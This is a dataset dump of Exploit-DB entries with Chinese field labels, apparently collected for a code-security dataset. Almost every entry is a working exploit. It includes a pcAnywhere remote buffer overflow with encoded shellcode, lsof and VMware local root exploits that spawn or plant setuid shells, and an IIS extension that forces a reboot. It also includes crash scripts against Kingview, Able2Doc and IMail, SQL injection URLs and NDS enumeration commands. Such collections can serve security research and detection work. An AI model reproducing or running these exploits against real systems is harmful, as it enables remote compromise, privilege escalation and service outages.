QLWD/code_shield huggingface dataset:
标题: Symantec pcAnywhere 12.5.0 - 'Login' / 'Password' Remote Buffer Overflow EDB-ID: 19407 CVE: 2011-3478 类型: REMOTE 平台: WINDOWS 发布日期: 2012-06-27 漏洞利用脚本: #!/usr/bin/python

# Exploit Title: Symantec PcAnywhere login and password field buffer overflow
# Date: 2012.06.27
# Author: S2 Crew [Hungary]
# Software Link: symantec.com
# Version: 12.5.0
# Tested on: Windows XP SP2
# CVE: CVE-2011-3478 
 
#EDB Note: Needs adjustment but there is a crash

# Code :
import socket
import time
import struct
import string
import sys

shell = (
"\xda\xda\xbb\x9e\x7f\xfb\x04\xd9\x74\x24\xf4\x58\x2b\xc9"
"\xb1\x56\x31\x58\x18\x03\x58\x18\x83\xc0\x9a\x9d\x0e\xf8"
"\x4a\xe8\xf1\x01\x8a\x8b\x78\xe4\xbb\x99\x1f\x6c\xe9\x2d"
"\x6b\x20\x01\xc5\x39\xd1\x92\xab\x95\xd6\x13\x01\xc0\xd9"
"\xa4\xa7\xcc\xb6\x66\xa9\xb0\xc4\xba\x09\x88\x06\xcf\x48"
"\xcd\x7b\x3f\x18\x86\xf0\xed\x8d\xa3\x45\x2d\xaf\x63\xc2"
"\x0d\xd7\x06\x15\xf9\x6d\x08\x46\x51\xf9\x42\x7e\xda\xa5"
"\x72\x7f\x0f\xb6\x4f\x36\x24\x0d\x3b\xc9\xec\x5f\xc4\xfb"
"\xd0\x0c\xfb\x33\xdd\x4d\x3b\xf3\x3d\x38\x37\x07\xc0\x3b"
"\x8c\x75\x1e\xc9\x11\xdd\xd5\x69\xf2\xdf\x3a\xef\x71\xd3"
"\xf7\x7b\xdd\xf0\x06\xaf\x55\x0c\x83\x4e\xba\x84\xd7\x74"
"\x1e\xcc\x8c\x15\x07\xa8\x63\x29\x57\x14\xdc\x8f\x13\xb7"
"\x09\xa9\x79\xd0\xfe\x84\x81\x20\x68\x9e\xf2\x12\x37\x34"
"\x9d\x1e\xb0\x92\x5a\x60\xeb\x63\xf4\x9f\x13\x94\xdc\x5b"
"\x47\xc4\x76\x4d\xe7\x8f\x86\x72\x32\x1f\xd7\xdc\xec\xe0"
"\x87\x9c\x5c\x89\xcd\x12\x83\xa9\xed\xf8\xb2\xed\x23\xd8"
"\x97\x99\x41\xde\x06\x06\xcf\x38\x42\xa6\x99\x93\xfa\x04"
"\xfe\x2b\x9d\x77\xd4\x07\x36\xe0\x60\x4e\x80\x0f\x71\x44"
"\xa3\xbc\xd9\x0f\x37\xaf\xdd\x2e\x48\xfa\x75\x38\x71\x6d"
"\x0f\x54\x30\x0f\x10\x7d\xa2\xac\x83\x1a\x32\xba\xbf\xb4"
"\x65\xeb\x0e\xcd\xe3\x01\x28\x67\x11\xd8\xac\x40\x91\x07"
"\x0d\x4e\x18\xc5\x29\x74\x0a\x13\xb1\x30\x7e\xcb\xe4\xee"
"\x28\xad\x5e\x41\x82\x67\x0c\x0b\x42\xf1\x7e\x8c\x14\xfe"
"\xaa\x7a\xf8\x4f\x03\x3b\x07\x7f\xc3\xcb\x70\x9d\x73\x33"
"\xab\x25\x83\x7e\xf1\x0c\x0c\x27\x60\x0d\x51\xd8\x5f\x52"
"\x6c\x5b\x55\x2b\x8b\x43\x1c\x2e\xd7\xc3\xcd\x42\x48\xa6"
"\xf1\xf1\x69\xe3"
)
init1 = (
"\x00\x00\x00\x00" # kezdeti handshake
)

init2 = (
"\x0d\x06\xfe" # Enter username uzenet koveti (NTdialog)
)

init3 = (
"A" * 100 #+ "\r" #username
)

readable_xp_sp2 = struct.pack('<L',0x023E5AD0)
call_esi = struct.pack('<L',0x67f7aac4)
jmp = struct.pack('<L',0x414112EB)

init4 = (
"B" * 1282 + jmp + readable_xp_sp2 + "DDDD" +call_esi + "AAAA" + shell + "E" * (4000 - 1286 - 12 - len(shell))
)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('172.16.29.133',5631)) # hardcoded IP address

print "init packet..."
s.send(init1) # send the data
time.sleep(5)
data = s.recv(1024)

print "handshake packet..."
s.send(init2) # send the data
time.sleep(5)
data = s.recv(1024)

print "username packet..."
s.send(init3) # send the data
time.sleep(5)
#data = s.recv(1024)

print "password packet..."
s.send(init4) # send the data
s.close() URL: https://www.exploit-db.com/exploits/19407
标题: Able2Doc and Able2Doc Professional 6.0 - Memory Corruption EDB-ID: 19393 CVE: 2011-4222 2011-4221 2011-4220 类型: DOS 平台: WINDOWS 发布日期: 2012-06-25 漏洞利用脚本: # Exploit Title: Able2Doc and Able2Doc Professional v 6.0 memory corruption
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:6.0
# Tested on: Windows 7
# CVE : cve-2011-4221


payload ="B"*13000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close() URL: https://www.exploit-db.com/exploits/19393
标题: Parodia 6.8 - 'employer-profile.asp' SQL Injection EDB-ID: 19394 CVE: 2011-2751 类型: WEBAPPS 平台: ASP 发布日期: 2012-06-25 漏洞利用脚本: # Exploit Title: Parodia 6.8 and early SQL injection
# Date: June 24 2012
# Exploit Author:Carlos Mario Penagos Hollmann
# Vendor Homepage: http://www.parodia.net/
# Version: 6.8
# CVE : CVE-2011-2751



http://server/' ---> blind SQL

http://server/agencyprofile.asp?AG_ID='
http://server/employer-profile.asp?ag_id='

There are other SQL Blind  injections ;) URL: https://www.exploit-db.com/exploits/19394
标题: Able2Extract and Able2Extract Server 6.0 - Memory Corruption EDB-ID: 19392 CVE: 2011-4222 2011-4221 2011-4220 类型: DOS 平台: WINDOWS 发布日期: 2012-06-25 漏洞利用脚本: # Exploit Title: Able2Extract and Able2Extract Server v 6.0 Memory
Corruption
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:6.0
# Tested on: Windows 7
# CVE : cve-2011-4222


payload ="A"*12000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close() URL: https://www.exploit-db.com/exploits/19392
标题: Slimpdf Reader 1.0 - Memory Corruption EDB-ID: 19391 CVE: 2011-4222 2011-4221 2011-4220 类型: DOS 平台: WINDOWS 发布日期: 2012-06-25 漏洞利用脚本: # Exploit Title:
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:1.0
# Tested on: Windows 7
# CVE : cve-2011-4220


payload ="A"*10000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close() URL: https://www.exploit-db.com/exploits/19391
标题: Kingview Touchview 6.53 - Multiple Heap Overflow Vulnerabilities EDB-ID: 19389 CVE: 2012-1831 类型: DOS 平台: WINDOWS 发布日期: 2012-06-25 漏洞利用脚本: # Exploit Title: Kingview 6.53 touchview.exe heap overflow 2
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.kingview.com

# Version: 6.53
# Tested on: Windows SP 1
# CVE :

Open kingivew click on Make choose network configuration--->network
parameter , then  go to the node type and choose Local is a Login Server,
run the demo port 555 will be open.
NOTE:
This was already patched by the vendor silently.

import os
import socket
import sys

host ="10.0.2.15"
port = 555

exploit=("D"*70000)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host,port))
s2.send(exploit)
data = s2.recv(1024)
s2.close()

eax=42424242 ebx=00140000 ecx=0098ffff edx=00990000 esi=00140748
edi=00000004
eip=7c902a9d esp=0012f0b8 ebp=00140748 iopl=0         nv up ei pl nz na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010206
ntdll!tan+0xcf:
7c902a9d 8b18            mov     ebx,dword ptr [eax]  ds:0023:42424242=?????
c902a8d 55              push    ebp
7c902a8e 8be9            mov     ebp,ecx
7c902a90 8b5504          mov     edx,dword ptr [ebp+4]
7c902a93 8b4500          mov     eax,dword ptr [ebp]
7c902a96 0bc0            or      eax,eax
7c902a98 740c            je      ntdll!tan+0xd8 (7c902aa6)
7c902a9a 8d4aff          lea     ecx,[edx-1]
7c902a9d 8b18            mov     ebx,dword ptr [eax]
ds:0023:42424242=????????
7c902a9f f00fc74d00      lock cmpxchg8b qword ptr [ebp]
7c902aa4 75f0            jne     ntdll!tan+0xc8 (7c902a96)
7c902aa6 5d              pop     ebp
7c902aa7 5b              pop     ebx
7c902aa8 c3              ret
7c902aa9 8d4900          lea     ecx,[ecx]
7c902aac 8f0424          pop     dword ptr [esp]
7c902aaf 90              nop
7c902ab0 53              push    ebx
7c902ab1 55              push    ebp



###############################################################


# Exploit Title: Kingview Touchview EIP direct control
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.kingview.com

# Version: 6.53
# Tested on: Windows SP 1
# CVE :

Open kingivew click on Make choose network configuration--->network
parameter , then go to the node type and choose Local is a Login Server,
run the demo port 555 will be open.
NOTE:
This was already patched by the vendor silently.


import os
import socket
import sys

host ="10.0.2.15"
port = 555

exploit=("B"*80000)




s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host,port))
s2.send(exploit)
data = s2.recv(1024)
s2.close()

7c91b1ea 8b4610 mov eax,dword ptr [esi+10h]
7c91b1ed 3bc3 cmp eax,ebx
7c91b1ef 8945fc mov dword ptr [ebp-4],eax
7c91b1f2 0f849e000000 je ntdll!RtlpUnWaitCriticalSection+0x2f
(7c91b296)
7c91b1f8 8b06 mov eax,dword ptr [esi]
7c91b1fa ff4010 inc dword ptr [eax+10h]
ds:0023:42424252=????????
7c91b1fd 8b45fc mov eax,dword ptr [ebp-4]
7c91b200 83e001 and eax,1
7c91b203 8945e8 mov dword ptr [ebp-18h],eax


ntdll!RtlpWaitForCriticalSection+0x5b URL: https://www.exploit-db.com/exploits/19389
标题: Kingview Touchview 6.53 - EIP Overwrite EDB-ID: 19388 CVE: 2012-1830 类型: DOS 平台: WINDOWS 发布日期: 2012-06-25 漏洞利用脚本: # Exploit Title: Kingview Touchview  EIP direct control
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.kingview.com

# Version: 6.53
# Tested on: Windows SP 1
# CVE :

Open kingivew click on Make choose network configuration--->network
parameter , then  go to the node type and choose Local is a Login Server,
run the demo port 555 will be open.
NOTE:
This was already patched by the vendor silently.

import os
import socket
import sys

host ="10.0.2.15"
port = 555

exploit = ("\x90"*1024)
exploit += ("A"*23976)
exploit += ("B"*12500)
exploit += ("D"*6250)
exploit += ("E"*6002)
exploit += ("\x44\x43\x42\x41")
exploit += ("\x90"*256)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(exploit)
data = s.recv(1024)
print "  [+] Closing connection.."
s.close()
print "  [+] Done!"


eax=7ffdf000 ebx=00000000 ecx=40000000 edx=00000008 esi=41424344
edi=0012f6b4
eip=41424344 esp=0012f650 ebp=0012f678 iopl=0         nv up ei pl nz na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010202
41424344 ??
CALL TO STACK
0x41424344
USER32!GetDC+0x6d
USER32!EnumDisplaySettingsA+0x27d
USER32!EnumDisplaySettingsA+0xc9
USER32!DefDlgProcA+0x22 URL: https://www.exploit-db.com/exploits/19388
标题: Ipswitch IMail 5.0 - IMonitor Buffer Overflow (Denial of Service) (PoC) EDB-ID: 19379 CVE: 1999-1046 类型: DOS 平台: MULTIPLE 发布日期: 1999-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/504/info

The IMail IMonitor service can be crashed by exploiting a buffer overflow vulnerability. 


Telnet to target machine, port 8181

Send: glob1
hit enter twice
Where glob1 is 2045 characters. URL: https://www.exploit-db.com/exploits/19379
标题: Microsoft IIS 2.0/3.0/4.0 - ISAPI GetExtensionVersion() EDB-ID: 19376 CVE: 1999-0412 类型: LOCAL 平台: WINDOWS 发布日期: 1999-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/501/info


IIS and potentially other NT web servers have a vulnerability that could allow arbitrary code to be run as SYSTEM. This works because of the way the server calls the GetExtensionVersion() function the first time an ISAPI extension is loaded. Any user able to put a CGI script in the web structure can insert code that will be run as SYSTEM during this window.


Copied verbatim from a post to NTbugtraq by Fabien Royer <fabienr@BELLATLANTIC.NET>.

Using VC++, create an ISAPI extension project and call it CRbExtension. Replace GetExtensionVersion() and Default() with the code below. Compile it to something
simple, like rb.dll. Place it on your web server and invoke it from your browser like this http://your.machine.namerb.dll? Note: if you are using IE4.0, don't call this from
the machine that is running the web server otherwise, the next time you log in, IE will recall the last URL and you'll reboot again.

BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer)
{ HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp; // pointer to token structure

// Get the current process token handle so we can get shutdown // privilege. OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);

// Get the LUID for shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Get shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

ExitWindowsEx(EWX_REBOOT,0);

// Disable shutdown privilege. tkp.Privileges[0].Attributes = 0; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

// Call default implementation for initialization CHttpServer::GetExtensionVersion(pVer);

// Load description string TCHAR sz[HSE_MAX_EXT_DLL_NAME_LEN+1]; ISAPIVERIFY(::LoadString(AfxGetResourceHandle(),IDS_SERVER, sz,
HSE_MAX_EXT_DLL_NAME_LEN)); _tcscpy(pVer->lpszExtensionDesc, sz); return TRUE;
}

void CRbExtension::Default(CHttpServerContext* pCtxt)
{ StartContent(pCtxt); WriteTitle(pCtxt);

*pCtxt << _T("Reboot<br>");

EndContent(pCtxt);
} URL: https://www.exploit-db.com/exploits/19376
标题: Netscape FastTrack Server 3.0.1 - Fasttrack Root Directory Listing EDB-ID: 19363 CVE: 1999-0239 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/481/info

Netscape's Fasttrack server is supposed to display a directory listing if the follwing three conditions are met:
1: Directory listing is enabled
2: No filename is specified in the requested URL
3: There is no index file in that directory (defaults are index.html and home.html)

However, even with an index file in the directory, if you telnet to the httpd port and type 'get/' you will get a directory listing of the root directory. 

Telnet to the httpd port and type 'get/' to get a root directory listing. URL: https://www.exploit-db.com/exploits/19363
标题: Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof' Local Buffer Overflow (2) EDB-ID: 19374 CVE: 1999-0405 类型: LOCAL 平台: LINUX 发布日期: 1999-02-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/496/info
 
Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.

/* http://www.hackersnetwork.net! */

/*
 *  Xploit for lsof 4.0.4 by Zhodiac <zhodiac@usa.net>
 *  Based on Aleph's article in phrack49
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                   0
#define DEFAULT_BUFFER_SIZE             32
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
  char comando[512];

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);

  printf("\nXploit for lsof 4.04 by zhodiac <zhodiac@usa.net>\n\n");

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  snprintf(comando,511,"lsof -u %s",buff);
  system(comando);
} URL: https://www.exploit-db.com/exploits/19374
标题: Ipswitch IMail 5.0 - Imapd Buffer Overflow (Denial of Service) (PoC) EDB-ID: 19377 CVE: 1999-1557 类型: DOS 平台: MULTIPLE 发布日期: 1999-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/502/info

The imapd login process is susceptible to a buffer overflow attack which will crash the service. 


Telnet to target machine, port 143
* OK IMAP4 Server (IMail 4.06)
X LOGIN glob1 glob2

Where glob1 is 1200 characters and glob2 is 1300 characters. URL: https://www.exploit-db.com/exploits/19377
标题: Ipswitch IMail 5.0/6.0 - Web Service Buffer Overflow (Denial of Service) (PoC) EDB-ID: 19380 CVE: 1999-1551 类型: DOS 平台: MULTIPLE 发布日期: 1999-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/505/info

The IMail web server can be crashed by requesting an abnormally long URL. 

Telnet to target machine, port 8383

Send: GET /glob1/
Where glob1 is 3000 characters.

Marc Maiffret <marc@eeye.com> has released the following exploit: 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19380.zip URL: https://www.exploit-db.com/exploits/19380
标题: Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof' Local Buffer Overflow (1) EDB-ID: 19373 CVE: 1999-0405 类型: LOCAL 平台: LINUX 发布日期: 1999-02-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/496/info
//
// Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.
//

/*
 * Sekure SDI (Brazilian Information Security Team)
 * lsof local exploit for linux
 * by c0nd0r <condor@sekure.org>
 *
 * Security problem found by HERT. (www.hert.org)
 *
 * -> This little tool will bring you a suid or sgid shell owned by lsof
 *    user (root|kmem usually) at /tmp directory (/tmp/sh).
 *
 * -----------------------------------------------------------------------
 * Code explanation: We've used a unsual technique here.
 * The buffer allocated was too small for the standard expl, so we did a
 * little trick, by overflowing with 'A' till reaching the ret address and
 * then we've filled with NOP and the shellcode just after the modified
 * ret address. So we have a different exploit architeture:
 * [garbage][eip modified][lotsa NOP's][shellcode]
 * That's why we need a bigger offset.
 * -----------------------------------------------------------------------
 *
 * usage ( needa have a little brain):
 *  ./SDI-lsof <offset> (between 373-505)
 *
 * 4 phun - http://www.sekure.org
 * Thanks to jamez, dumped, bishop, bahamas, slide, falcon, vader
 * and guys at #uground (irc.brasnet.org network)
 *
 */


/* change the lsof path if it's needed */
#define PATH "/usr/bin/lsof"


char shellcode[] =
        "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
        "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
        "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
        "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";


unsigned long getsp ( void) {
  __asm__("mov %esp,%eax");
}

main ( int argc, char *argv[0]) {
  char b00m[220];
  long addr;
  int x, y, offset=380;

  if (argc > 1) offset = atoi(argv[1]);

  for (x = 0; x < 16; x++)
    b00m[x] = 'A';

  addr = getsp() + offset;
  printf ( "SDI-lsof exploiting at 0x%x\n", addr);

  b00m[x++] = addr & 0x000000ff;
  b00m[x++] = (addr & 0x0000ff00) >> 8;
  b00m[x++] = (addr & 0x00ff0000) >> 16;
  b00m[x++] = (addr & 0xff000000) >> 24;

  for ( ; x < 100; x++)
    b00m[x] = 0x90;

  for (y = 0; y < strlen(shellcode); y++, x++)
    b00m[x] = shellcode[y];

  b00m[strlen(b00m)] = '\0';

  printf ( "\nFind a suid shell at /tmp/sh...\n\n");
  execl ( PATH, PATH, "-u", b00m, (char *)0);
  perror ( "execl") ;

} URL: https://www.exploit-db.com/exploits/19373
标题: Novell Netware 4.1/4.11 - SP5B NDS Default Rights EDB-ID: 19365 CVE: 1999-1020 类型: REMOTE 平台: NETWARE 发布日期: 1999-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/484/info

Non-authenticated clients have access to CX.EXE and NLIST.EXE in the SYS:LOGIN directory of a Netware 4.x server. The default root access is set to Read. Therefore, by using various switch options in CX.EXE and NLIST.EXE, anyone connecting to the server can gain access to NDS tree information such as account names, group names and membership, tree layout etc. By attaching to different servers and switching contexts an intruder could gain an understanding of the NDS structure for the entire network. 

The following commands can be issued by a client connected to a NetWare 4.x or IntranetWare server, revealing most if not all user account names, in addition to most of if not the entire tree layout.
CX /T /A /R - list all readable user and container object names in tree, and can give a rather accurate layout of the containers and basic contents
NLIST USER /D - list info regarding user names in current context
NLIST GROUPS /D - list groups and group membership in current context
NLIST SERVER /D - list server names and OS versions, and if attached reveal if accounting is installed or not
NLIST /OT=* /DYN /D - list all readable objects, including dynamic objects, names of NDS trees, etc URL: https://www.exploit-db.com/exploits/19365
标题: VMware 1.0.1 - Local Buffer Overflow EDB-ID: 19371 CVE: 1999-0733 类型: LOCAL 平台: LINUX 发布日期: 1999-06-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/490/info


VMWare is virtual machine software produced by VMWare inc. VMWare version 1.0.1 for Linux is vulnerable to a buffer overflow attack. Since VMWare is installed with binaries that are setuid root, local users can exploit the hole allowing for arbitrary code to be executed as root. The consequences are a local root compromise. 

/* 
 * VMware v1.0.1 root sploit
 * funkySh 02/07/99
 * 
 * 1. Redhat 5.2     2.2.9 offset 800-1100
 * 2.                      offset 1600-2200
 * 1. Slackware 3.6  2.2.9 offset 0
 * 2.                      offset ?       
 *
 * [ 1 - started from xterm on localhost ]
 * [ 2 - started from telnet, with valid display ]
 */


#include <stdio.h> 

char code[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
              "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
              "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
              "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define BUFFER 1032
#define NOP 0x90 
#define RET_ADDR 0xbfffdf50
#define PATH "/usr/local/bin/vmware"

char buf[BUFFER];

void main(int argc, char * argv[])
{
  int i, offset = 0;
  if(argc > 1) offset = atoi(argv[1]);

 memset(buf,NOP,BUFFER);
 memcpy(buf+800,code,strlen(code));
 for(i=854+2;i<BUFFER-2;i+=4)
   *(int *)&buf[i]=RET_ADDR+offset;

  setenv("HOME", buf, 1);
  execl(PATH,"vmware","-display","127.0.0.1:0",0);
  /* change IP if required */
} URL: https://www.exploit-db.com/exploits/19371